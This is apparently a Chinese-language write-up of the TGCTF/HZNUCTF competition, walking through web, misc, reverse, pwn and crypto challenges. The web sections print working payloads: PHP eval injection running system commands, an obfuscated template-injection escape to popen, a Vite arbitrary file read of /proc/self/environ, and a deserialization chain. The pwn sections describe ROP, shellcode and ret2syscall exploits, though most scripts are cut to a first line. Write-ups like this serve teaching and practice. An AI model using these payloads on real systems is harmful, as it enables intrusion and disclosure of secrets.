TGCTF-WP
WEB
火眼辩魑魅
robots.txt
找到几个文件,但是只有tgshell.php
是可用文件,直接蚁剑连马找到flag
TGCTF{0f65fdf9-a7f6-f15b-43ff-8bca87267f2b}
AAA偷渡阴平
tgctf2025=eval(end(current(get_defined_vars())));&flag=system('tac /flag'); |
TGCTF{5b419c90-6274-341f-ad9f-87c6af076d86}
直面天命
爆破找到路由/aazz,通过arjun找到参数名filename,filename=../../app.py
获得源码如下
import os |
但是尝试读了下flag,直接就出flag
什么文件上传?
先看robots.txt,找到class.php,源码如下
|
创建yesterday
对象,其study
属性为today
对象,today
的doing
属性为future
对象。当反序列化时,yesterday
的析构方法调用study->hard()
,触发today
的__call
方法,在计算md5时将doing
(future
对象)转换为字符串,触发__toString
执行命令。
exp如下
|
结果五次base64加密后为Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA9
payload如下
GET:filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA9.php |
TGCTF{e7ca9e0f-b86c-21cc-595d-27ac5d768611}
前端GAME
参考CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现-CSDN博客,尝试找根目录没结果,最后在环境变量找到flag
/proc/self/environ?.svg?.wasm?init |
TGCTF{d17f2dc0-347d-7be4-ca0e-9795c0199224}
天命复仇
先放payload:
天命""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsub""classes\x5f\x5f"]()[132]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["po""pen"]("ls")["re""ad"]()难违 |
下划线用16进制绕,关键词用””拼接
首先需要找到os的索引在多少
然后在拼接语句,使用ls
最后再读取flag就可以了
TG_wordpress
在网上搜wordpress漏洞,运气好,翻文章试了一下编号,对了,TGCTF{CVE-2020-25213}
前端GAME Plus
一样的payload
/proc/self/environ?.svg?.wasm?init |
就能成功获得flag
TGCTF{611d651b-1471-bc27-79f8-de04fc131b45}
MISC
next is the end
vs一把梭
flag{so_great}
TeamGipsy&ctfer
要重置密码,开机的时候一直按住shirt就行,跟着文章操作,进入命令行后,查看桌面的mimi.txt
,发现启动了docker
docker start TeamGipsyctf2 |
HZNUCTF{0H!_YOu_are_really_the_TeamGipsy_ctfer}
Where_it_is(osint)
谷歌识图
然后访问旁边的台湾百事通
站台名为港墘
你的运气是好是坏?
从题目给的好运来以及说flag是1-99999999中的一个数字可以得出一个梗,也就是114514
RE
Base64
放IDA获得伪代码然后丢ai一把梭
table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI" |
HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}
蛇年的本命语言
#!/usr/bin/env python |
然后ai脚本一把梭
#!/usr/bin/env python |
HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}
水果忍者
先看文件修改日期。估计就是在这些今年早些日期的
丢IDA里面,多看几个函数,看到HZNU
丢ai分析,脚本如下
from Crypto.Cipher import AES |
HZNUCTF{de20-70dd-4e62-b8d0-06e}
PWN
签到
简单的签到题,栈溢出构造rop链泄露libc基地址接着构造system(/bin/sh)
from pwn import* |
shellcode
checksec
[*] '/home/pwn/桌面/pwn' |
题目提示够用了仔细看寄存器
main
__int64 __fastcall main(int a1, char **a2, char **a3) |
buf位于栈上被改为可读可写可执行,后续buf作为参数被传入rdi中调用sub_11C9函数,汇编如下
.text:00000000000011C9 F3 0F 1E FA endbr64 |
会将除RDI RIP外的所有寄存器清零故在设置execve(‘/bin/sh,0,0’)时我们不用管rsi和rdx,只用看rdi和rax就好了,关键在于如何让rdi的值为/bin/sh的地址,注意只能是/bin/sh的地址,因为execve的各个参数都是指针,如果直接将/bin/sh这个具体字符赋值给rdi函数会无法解析,选择将/bin/sh写在buf上,然后通过rsp传递/bin/sh
lea rsp, [rdi + 11] ;4字节将rdi指向的地址加上 11后的结果赋值给rsp(刚好指向/bin/sh) |
exp:
from pwn import* |
新姿势:lea用于计算内存地址并将结果存储在目标寄存器中,相较于先add再mov更省字节
stack
checksec
桌面$ checksec pwn |
main函数
__int64 __fastcall main(int a1, char **a2, char **a3) |
sub_4011FA()函数
void *sub_4011FA() |
sub_4011FA()函数很明显存在栈溢出但是要构造rop链来泄露libc明显不太够main函数中还有个read可以读很多数据到data段
data段从unk_404060开始
.data:0000000000404060 00 unk_404060 db 0 ; DATA XREF: main+62↑o |
发现了/bin/sh地址,先记录后续应该用的上,溢出字节数够我们可以覆盖很多内容:qword_4040A0 dq 1;fd dq 1 ;count dq 0Bh 这三个参数很可疑汇编里找找它在哪
sub_4011FA
发现当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时会跳转到loc_4011B6
这个函数
找到这个函数就在sub_4011FA汇编的上面,但是没有对应的函数名称所以在左侧函数名称栏看不到
发现了刚刚我们可以覆盖的那几个参数,分别对应rax ,rdi,rdx,其中通过gdb调试发现rsi的地址是指向0的指针,所以我们可以通过第一个read来覆盖特定参数达到execve(‘/bin/sh,0,0’)
当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时才会跳转到loc_4011B6
这个函数,在未栈溢出覆盖时这两个地方的值是一样的所以我们要覆盖掉rbp+8处的内容使函数能正常跳转
完整exp:
from pwn import* |
overflow
checksec
桌面$ checksec pwn |
check版本老了,实际上没开canary因为静态编译所以误检测了,程序是静态编译的,两段输入第一段通过read读到bss段上可以读0x100个字节,第二段gets读入栈上可以栈溢出控制执行流
int __cdecl main(int argc, const char **argv, const char **envp) |
目前思路在name处写下rop链进行ret2syscall系统调用execve(‘/bin/sh’,0,0),gets处构造溢出控制执行流即可
因为是全静态编译,gets函数也是静态构造的没有link,所以通过gdb调试进入到gets函数来找偏移
前面还有一个 _uflow 函数调用获取一个字符所以我们的输入起始地址是0xfffd048继续调式
可以看到运行到gets函数结束时旧的ebp在0xffffd118处距离输入即为0xD0这个数据和IDA上的相同但是想要控制执行流并不能将返回地址覆盖在0xD0+4+4处因为main函数汇编ret这里有点不一样
我们先找esp因为最后retn是pop eip将esp指向的地址弹给执行流,来到080498C0处也就是lea esp,[ebp - 8]
ebp是我们可控的,esp现在的地址是[ebp - 8]处紧接着pop ecx
将该处前4个字节弹给ecx后面还要弹两个但是用处不大,就到了0x080498C6处lea esp,[ecx - 4]
此时esp的值被改为了[ecx - 4]也就是[ebp - 8 -4]处所以我们要将返回地址放到[ebp-8]处才能跳转且返回地址的值要加4才是正确的返回地址
完整exp
from pwn import * |
p32(name+0x4+0x8)加4上面已经讲了,加8是为了跳过/bin/sh\x00
‘占8字节
Crypto
AAAAAAAA·真·签到
从题目的提示可知,原本的flag是以TGCTF为前缀,但是现在的是UGBRC,看字母的规律是,U的前一个字母是T,记为-1,G没变,记为0,B的下一位是C,记为+1,以此类推,数字和符号不变,就可以得到flag:TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
费克特尔
首先分解n
然后脚本
还要将得到的转换为utf-8
转换后的 UTF-8 字符串为: TGCTF{f4888_6abdc_9c2bd_9036bb}
mm不躲猫猫
tRwSiAns
宝宝RSA
由于我们不知道e1,所以需要先求得e1,得到e1就可以得到第一部分的flag
然后求第二部分,用低指数攻击
最后得到完整flag:TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}